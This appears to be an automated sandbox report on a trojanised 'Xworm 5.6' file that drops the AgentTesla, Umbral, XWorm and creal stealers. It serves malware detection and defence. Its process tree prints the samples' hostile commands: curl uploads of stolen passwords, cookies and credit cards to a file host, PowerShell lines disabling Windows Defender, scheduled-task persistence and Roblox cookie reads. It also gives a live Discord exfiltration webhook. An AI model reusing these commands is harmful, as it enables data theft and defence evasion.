agenttesla | 685b97041f1aa3e082b9816c798c7b9adeceb630ca63634035cf4fc4cbcc4cab

Analysis

max time kernel
148s
max time network
131s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
21-07-2024 14:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Xworm-V5.6/Xworm 5.6.exe
Size

31.5MB
MD5

034f44acd00471fc4a78f212c40c0fe0
SHA1

a59dfec703be202f3981a2de64f7674baf030648
SHA256

f4b8369ca881ac2fc254a79bc8b42dbed81019ac2a518b40eb2b6cd8e22cf30f
SHA512

37d6ffb0c6a2de1261f269e61bfc0905d4f49c68a34535d70b677dd660d6845e82eae5bed167e52c52f5c9b04e4d281b9693cb8b62c7311d2ac1cfddb00c81be
SSDEEP

393216:vuyIhhkRka4i8EkZQVBl86ODlHTE9Nj+CEDJKRW3I1KpnP2elMOdN6:2yshkqNhQVj86OpgeCEDJKRWPpB4

Score

10^/10

agenttesla umbral xworm execution keylogger persistence pyinstaller rat spyware stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1258826865888460840/AXNa-UDvvfmqdXbJtKI0nZsn0JGhgOBB1NuYxdFsJJVOw3zMA2BHwMqXF6N6AKQECFC6

Extracted

Family

xworm

127.0.0.1:43101

Attributes

Install_directory
%Public%
install_file
BSOD.exe

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect Umbral payload 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Umbral.exe	family_umbral
behavioral13/memory/1544-71-0x0000000000400000-0x000000000237D000-memory.dmp	family_umbral
behavioral13/memory/2112-134-0x00000000001B0000-0x00000000001F0000-memory.dmp	family_umbral

Detect Xworm Payload 4 IoCs

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\XWorm.exe	family_xworm
behavioral13/memory/2900-133-0x00000000001F0000-0x000000000020A000-memory.dmp	family_xworm
behavioral13/memory/2592-132-0x0000000000320000-0x000000000033A000-memory.dmp	family_xworm
behavioral13/memory/1416-326-0x0000000001380000-0x000000000139A000-memory.dmp	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

AgentTesla payload 1 IoCs

Processes:

resource	yara_rule
behavioral13/memory/2760-241-0x000000001C580000-0x000000001C774000-memory.dmp	family_agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

2248 powershell.exe
2240 powershell.exe
1584 powershell.exe
2664 powershell.exe
2424 powershell.exe
Drops file in Drivers directory 1 IoCs

Processes:

Umbral.exe

description ioc process

File opened for modification C:\Windows\System32\drivers\etc\hosts Umbral.exe

pid	process
2248	powershell.exe
2240	powershell.exe
1584	powershell.exe
2664	powershell.exe
2424	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Drops startup file 3 IoCs

Processes:

creal.exeXWorm.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	creal.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BSOD.lnk	XWorm.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BSOD.lnk	XWorm.exe

Executes dropped EXE 8 IoCs

Processes:

Xworm.execreal.exeUmbral.exeXWorm.exeXWorm.execreal.exeBSOD.exeBSOD.exe

pid process

2760 Xworm.exe
2748 creal.exe
2112 Umbral.exe
2592 XWorm.exe
2900 XWorm.exe
2640 creal.exe
1416 BSOD.exe
2228 BSOD.exe

pid	process
2760	Xworm.exe
2748	creal.exe
2112	Umbral.exe
2592	XWorm.exe
2900	XWorm.exe
2640	creal.exe
1416	BSOD.exe
2228	BSOD.exe

Loads dropped DLL 47 IoCs

Processes:

Xworm 5.6.execreal.execreal.exe

pid	process
1544	Xworm 5.6.exe
1544	Xworm 5.6.exe
1544	Xworm 5.6.exe
1544	Xworm 5.6.exe
2748	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe
2640	creal.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

XWorm.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Windows\CurrentVersion\Run\BSOD = "C:\\Users\\Public\\BSOD.exe"	XWorm.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 26 IoCs

Web Service

T1102

Processes:

flow	ioc
26	discord.com
30	discord.com
33	discord.com
35	discord.com
15	discord.com
24	discord.com
31	discord.com
18	discord.com
21	discord.com
38	discord.com
25	discord.com
28	discord.com
39	discord.com
40	discord.com
19	discord.com
22	discord.com
29	discord.com
14	discord.com
27	discord.com
34	discord.com
36	discord.com
41	discord.com
20	discord.com
23	discord.com
32	discord.com
37	discord.com

Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

4 ip-api.com
6 api.ipify.org
7 api.ipify.org
Drops file in Windows directory 1 IoCs

Processes:

Xworm 5.6.exe

description ioc process

File created C:\Windows\XWorm.exe Xworm 5.6.exe

flow	ioc
4	ip-api.com
6	api.ipify.org
7	api.ipify.org

description	ioc	process
File created	C:\Windows\XWorm.exe	Xworm 5.6.exe

Detects Pyinstaller 1 IoCs

pyinstaller

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\creal.exe	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

wmic.exe

pid process

652 wmic.exe
Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery
T1057

Processes:

tasklist.exe

pid process

680 tasklist.exe

pid	process
652	wmic.exe

pid	process
680	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Xworm.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Xworm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Xworm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Xworm.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2812 PING.EXE
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

1612 schtasks.exe

pid	process
2812	PING.EXE

pid	process
1612	schtasks.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

Umbral.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeXWorm.exe

pid	process
2112	Umbral.exe
2248	powershell.exe
2240	powershell.exe
964	powershell.exe
1584	powershell.exe
2912	powershell.exe
2664	powershell.exe
2388	powershell.exe
2424	powershell.exe
2176	powershell.exe
2592	XWorm.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

XWorm.exeXWorm.exeUmbral.exewmic.exetasklist.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	2592	XWorm.exe
Token: SeDebugPrivilege	2900	XWorm.exe
Token: SeDebugPrivilege	2112	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2300	wmic.exe
Token: SeSecurityPrivilege	2300	wmic.exe
Token: SeTakeOwnershipPrivilege	2300	wmic.exe
Token: SeLoadDriverPrivilege	2300	wmic.exe
Token: SeSystemProfilePrivilege	2300	wmic.exe
Token: SeSystemtimePrivilege	2300	wmic.exe
Token: SeProfSingleProcessPrivilege	2300	wmic.exe
Token: SeIncBasePriorityPrivilege	2300	wmic.exe
Token: SeCreatePagefilePrivilege	2300	wmic.exe
Token: SeBackupPrivilege	2300	wmic.exe
Token: SeRestorePrivilege	2300	wmic.exe
Token: SeShutdownPrivilege	2300	wmic.exe
Token: SeDebugPrivilege	2300	wmic.exe
Token: SeSystemEnvironmentPrivilege	2300	wmic.exe
Token: SeRemoteShutdownPrivilege	2300	wmic.exe
Token: SeUndockPrivilege	2300	wmic.exe
Token: SeManageVolumePrivilege	2300	wmic.exe
Token: 33	2300	wmic.exe
Token: 34	2300	wmic.exe
Token: 35	2300	wmic.exe
Token: SeIncreaseQuotaPrivilege	2300	wmic.exe
Token: SeSecurityPrivilege	2300	wmic.exe
Token: SeTakeOwnershipPrivilege	2300	wmic.exe
Token: SeLoadDriverPrivilege	2300	wmic.exe
Token: SeSystemProfilePrivilege	2300	wmic.exe
Token: SeSystemtimePrivilege	2300	wmic.exe
Token: SeProfSingleProcessPrivilege	2300	wmic.exe
Token: SeIncBasePriorityPrivilege	2300	wmic.exe
Token: SeCreatePagefilePrivilege	2300	wmic.exe
Token: SeBackupPrivilege	2300	wmic.exe
Token: SeRestorePrivilege	2300	wmic.exe
Token: SeShutdownPrivilege	2300	wmic.exe
Token: SeDebugPrivilege	2300	wmic.exe
Token: SeSystemEnvironmentPrivilege	2300	wmic.exe
Token: SeRemoteShutdownPrivilege	2300	wmic.exe
Token: SeUndockPrivilege	2300	wmic.exe
Token: SeManageVolumePrivilege	2300	wmic.exe
Token: 33	2300	wmic.exe
Token: 34	2300	wmic.exe
Token: 35	2300	wmic.exe
Token: SeDebugPrivilege	680	tasklist.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeDebugPrivilege	964	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeIncreaseQuotaPrivilege	1632	wmic.exe
Token: SeSecurityPrivilege	1632	wmic.exe
Token: SeTakeOwnershipPrivilege	1632	wmic.exe
Token: SeLoadDriverPrivilege	1632	wmic.exe
Token: SeSystemProfilePrivilege	1632	wmic.exe
Token: SeSystemtimePrivilege	1632	wmic.exe
Token: SeProfSingleProcessPrivilege	1632	wmic.exe
Token: SeIncBasePriorityPrivilege	1632	wmic.exe
Token: SeCreatePagefilePrivilege	1632	wmic.exe
Token: SeBackupPrivilege	1632	wmic.exe
Token: SeRestorePrivilege	1632	wmic.exe
Token: SeShutdownPrivilege	1632	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

XWorm.exe

pid process

2592 XWorm.exe

pid	process
2592	XWorm.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Xworm 5.6.execreal.exeUmbral.execreal.execmd.exeXWorm.exe

description	pid	process	target process
PID 1544 wrote to memory of 2760	1544	Xworm 5.6.exe	Xworm.exe
PID 1544 wrote to memory of 2760	1544	Xworm 5.6.exe	Xworm.exe
PID 1544 wrote to memory of 2760	1544	Xworm 5.6.exe	Xworm.exe
PID 1544 wrote to memory of 2760	1544	Xworm 5.6.exe	Xworm.exe
PID 1544 wrote to memory of 2748	1544	Xworm 5.6.exe	creal.exe
PID 1544 wrote to memory of 2748	1544	Xworm 5.6.exe	creal.exe
PID 1544 wrote to memory of 2748	1544	Xworm 5.6.exe	creal.exe
PID 1544 wrote to memory of 2748	1544	Xworm 5.6.exe	creal.exe
PID 1544 wrote to memory of 2112	1544	Xworm 5.6.exe	Umbral.exe
PID 1544 wrote to memory of 2112	1544	Xworm 5.6.exe	Umbral.exe
PID 1544 wrote to memory of 2112	1544	Xworm 5.6.exe	Umbral.exe
PID 1544 wrote to memory of 2112	1544	Xworm 5.6.exe	Umbral.exe
PID 1544 wrote to memory of 2592	1544	Xworm 5.6.exe	XWorm.exe
PID 1544 wrote to memory of 2592	1544	Xworm 5.6.exe	XWorm.exe
PID 1544 wrote to memory of 2592	1544	Xworm 5.6.exe	XWorm.exe
PID 1544 wrote to memory of 2592	1544	Xworm 5.6.exe	XWorm.exe
PID 1544 wrote to memory of 2900	1544	Xworm 5.6.exe	XWorm.exe
PID 1544 wrote to memory of 2900	1544	Xworm 5.6.exe	XWorm.exe
PID 1544 wrote to memory of 2900	1544	Xworm 5.6.exe	XWorm.exe
PID 1544 wrote to memory of 2900	1544	Xworm 5.6.exe	XWorm.exe
PID 2748 wrote to memory of 2640	2748	creal.exe	creal.exe
PID 2748 wrote to memory of 2640	2748	creal.exe	creal.exe
PID 2748 wrote to memory of 2640	2748	creal.exe	creal.exe
PID 2112 wrote to memory of 2300	2112	Umbral.exe	wmic.exe
PID 2112 wrote to memory of 2300	2112	Umbral.exe	wmic.exe
PID 2112 wrote to memory of 2300	2112	Umbral.exe	wmic.exe
PID 2640 wrote to memory of 1668	2640	creal.exe	cmd.exe
PID 2640 wrote to memory of 1668	2640	creal.exe	cmd.exe
PID 2640 wrote to memory of 1668	2640	creal.exe	cmd.exe
PID 1668 wrote to memory of 680	1668	cmd.exe	tasklist.exe
PID 1668 wrote to memory of 680	1668	cmd.exe	tasklist.exe
PID 1668 wrote to memory of 680	1668	cmd.exe	tasklist.exe
PID 2112 wrote to memory of 1548	2112	Umbral.exe	attrib.exe
PID 2112 wrote to memory of 1548	2112	Umbral.exe	attrib.exe
PID 2112 wrote to memory of 1548	2112	Umbral.exe	attrib.exe
PID 2112 wrote to memory of 2248	2112	Umbral.exe	powershell.exe
PID 2112 wrote to memory of 2248	2112	Umbral.exe	powershell.exe
PID 2112 wrote to memory of 2248	2112	Umbral.exe	powershell.exe
PID 2592 wrote to memory of 2240	2592	XWorm.exe	powershell.exe
PID 2592 wrote to memory of 2240	2592	XWorm.exe	powershell.exe
PID 2592 wrote to memory of 2240	2592	XWorm.exe	powershell.exe
PID 2112 wrote to memory of 964	2112	Umbral.exe	powershell.exe
PID 2112 wrote to memory of 964	2112	Umbral.exe	powershell.exe
PID 2112 wrote to memory of 964	2112	Umbral.exe	powershell.exe
PID 2592 wrote to memory of 1584	2592	XWorm.exe	powershell.exe
PID 2592 wrote to memory of 1584	2592	XWorm.exe	powershell.exe
PID 2592 wrote to memory of 1584	2592	XWorm.exe	powershell.exe
PID 2112 wrote to memory of 2912	2112	Umbral.exe	powershell.exe
PID 2112 wrote to memory of 2912	2112	Umbral.exe	powershell.exe
PID 2112 wrote to memory of 2912	2112	Umbral.exe	powershell.exe
PID 2592 wrote to memory of 2664	2592	XWorm.exe	powershell.exe
PID 2592 wrote to memory of 2664	2592	XWorm.exe	powershell.exe
PID 2592 wrote to memory of 2664	2592	XWorm.exe	powershell.exe
PID 2112 wrote to memory of 2388	2112	Umbral.exe	powershell.exe
PID 2112 wrote to memory of 2388	2112	Umbral.exe	powershell.exe
PID 2112 wrote to memory of 2388	2112	Umbral.exe	powershell.exe
PID 2592 wrote to memory of 2424	2592	XWorm.exe	powershell.exe
PID 2592 wrote to memory of 2424	2592	XWorm.exe	powershell.exe
PID 2592 wrote to memory of 2424	2592	XWorm.exe	powershell.exe
PID 2112 wrote to memory of 1632	2112	Umbral.exe	wmic.exe
PID 2112 wrote to memory of 1632	2112	Umbral.exe	wmic.exe
PID 2112 wrote to memory of 1632	2112	Umbral.exe	wmic.exe
PID 2112 wrote to memory of 2952	2112	Umbral.exe	wmic.exe
PID 2112 wrote to memory of 2952	2112	Umbral.exe	wmic.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

1548 attrib.exe

pid	process
1548	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Xworm-V5.6\Xworm 5.6.exe
"C:\Users\Admin\AppData\Local\Temp\Xworm-V5.6\Xworm 5.6.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1544

C:\Users\Admin\AppData\Local\Temp\Xworm-V5.6\Xworm.exe
"C:\Users\Admin\AppData\Local\Temp\Xworm-V5.6\Xworm.exe"
2⤵
- Executes dropped EXE
- Enumerates system info in registry
PID:2760

C:\Users\Admin\AppData\Local\Temp\creal.exe
"C:\Users\Admin\AppData\Local\Temp\creal.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2748

C:\Users\Admin\AppData\Local\Temp\creal.exe
"C:\Users\Admin\AppData\Local\Temp\creal.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2640

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist"
4⤵
- Suspicious use of WriteProcessMemory
PID:1668

C:\Windows\system32\tasklist.exe
tasklist
5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:680

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
4⤵
PID:492

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
4⤵
PID:2036

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
4⤵
PID:2208

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
4⤵
PID:1784

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
4⤵
PID:1796

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
4⤵
PID:2820

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2112

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" csproduct get uuid
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2300

C:\Windows\system32\attrib.exe
"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
3⤵
- Views/modifies file attributes
PID:1548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2388

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" os get Caption
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1632

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" computersystem get totalphysicalmemory
3⤵
PID:2952

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" csproduct get uuid
3⤵
PID:332

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2176

C:\Windows\System32\Wbem\wmic.exe
"wmic" path win32_VideoController get name
3⤵
- Detects videocard installed
PID:652

C:\Windows\system32\cmd.exe
"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
3⤵
PID:884

C:\Windows\system32\PING.EXE
ping localhost
4⤵
- Runs ping.exe
PID:2812

C:\Users\Admin\AppData\Local\Temp\XWorm.exe
"C:\Users\Admin\AppData\Local\Temp\XWorm.exe"
2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XWorm.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XWorm.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1584

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\BSOD.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2664

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'BSOD.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2424

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "BSOD" /tr "C:\Users\Public\BSOD.exe"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1612

C:\Windows\XWorm.exe
"C:\Windows\XWorm.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2900

C:\Windows\system32\taskeng.exe
taskeng.exe {679B7B10-81FB-404D-BC0D-DE092D58862C} S-1-5-21-3502430532-24693940-2469786940-1000:PSBQWFYT\Admin:Interactive:[1]
1⤵
PID:2068

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
2⤵
- Executes dropped EXE
PID:1416

C:\Users\Public\BSOD.exe
C:\Users\Public\BSOD.exe
2⤵
- Executes dropped EXE
PID:2228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
228KB

MD5
7490f7cc7fe56a351ec6228d6f976b7e

SHA1
25d3d77daf555fafa4ee74bf2552c803ddef0316

SHA256
fdea303425206b38a5f142cf735dd2728bb4ac7665b8172f620166f0a982d756

SHA512
33121e5bb96dcfc6cd59a404b5e04d590b6595ffa5b90313581ad53d92be7bba3375602fd1e9219d60aba220048b928ef0c3539bde87545d922847b666c12b37

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\VCRUNTIME140.dll

Filesize
93KB

MD5
ade7aac069131f54e4294f722c17a412

SHA1
fede04724bdd280dae2c3ce04db0fe5f6e54988d

SHA256
92d50f7c4055718812cd3d823aa2821d6718eb55d2ab2bac55c2e47260c25a76

SHA512
76a810a41eb739fba2b4c437ed72eda400e71e3089f24c79bdabcb8aab0148d80bd6823849e5392140f423addb7613f0fc83895b9c01e85888d774e0596fc048

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\VCRUNTIME140_1.dll

Filesize
35KB

MD5
4dc09ca657822c2e8160255f767597df

SHA1
d1a553e6cad4600020113fe2887f5deb0db588c8

SHA256
922124ba0821aa864a0261ed88bd25f8e40f94c24d00d389e23cd9ab2bfc6ba4

SHA512
1504a4c32aefb58b20bfeab4f6e45ddb1b4feb08cfc9b6098b0e0b8d770d2ec5cd53a0506f212a2d4f406a1f6aae5bb03bfe8b87f55a61671e9cbbf684d77e19

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\_bz2.pyd

Filesize
85KB

MD5
0083b7118baca26c44df117a40b8e974

SHA1
218176d616a57fd2057a34c98f510ac8b7d0f550

SHA256
e1f791a3f5e277880d56f21006cec8e0b93ca50cd4464b2b4c6e88ab3ca5234d

SHA512
e093937e4f1c8e3c321e2059a3dda703f0d3df88deba2b15656bca87a258a9cd4dc677859cb1879157d4e60e10efb4d35c402135960ef2afddfef9c388077b85

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\_cffi_backend.cp38-win_amd64.pyd

Filesize
177KB

MD5
77b5d28b725596b08d4393786d98bd27

SHA1
e3f00478de1d28bc7d2e9f0b552778be3e32d43b

SHA256
f7a00ba343d6f1ea8997d95b242fbbd70856ec2b98677d5f8b52921b8658369c

SHA512
d44415d425f7423c3d68df22b72687a2d0da52966952e20d215553aa83de1e7a5192ec918a3d570d6c2362eb5500b56b87e3ffbc0b768bfa064585aea2a30e9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\_ctypes.pyd

Filesize
123KB

MD5
9755d3747e407ca70a4855bc9e98cfb9

SHA1
5a1871716715ba7f898afaae8c182bd8199ed60a

SHA256
213937a90b1b91a31d3d4b240129e30f36108f46589ba68cd07920ce18c572c2

SHA512
fb2d709b4a8f718c1ab33a1b65ac990052e3a5a0d8dd57f415b4b12bce95189397bfddb5fb3a7fc1776c191eb92fd28e3aaebbebdf1024ecd99e412376ca4467

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27482\_decimal.pyd

Filesize
262KB

MD5
b6bd7872e7f4c5020bf14906831aec73

SHA1
63911584ea66607c665319dc2143b3c6f92a6aff

SHA256
d0578670b5971f24df1a74c2d33596acaac0d56ef974d178f2744ae1773a6aff

SHA512
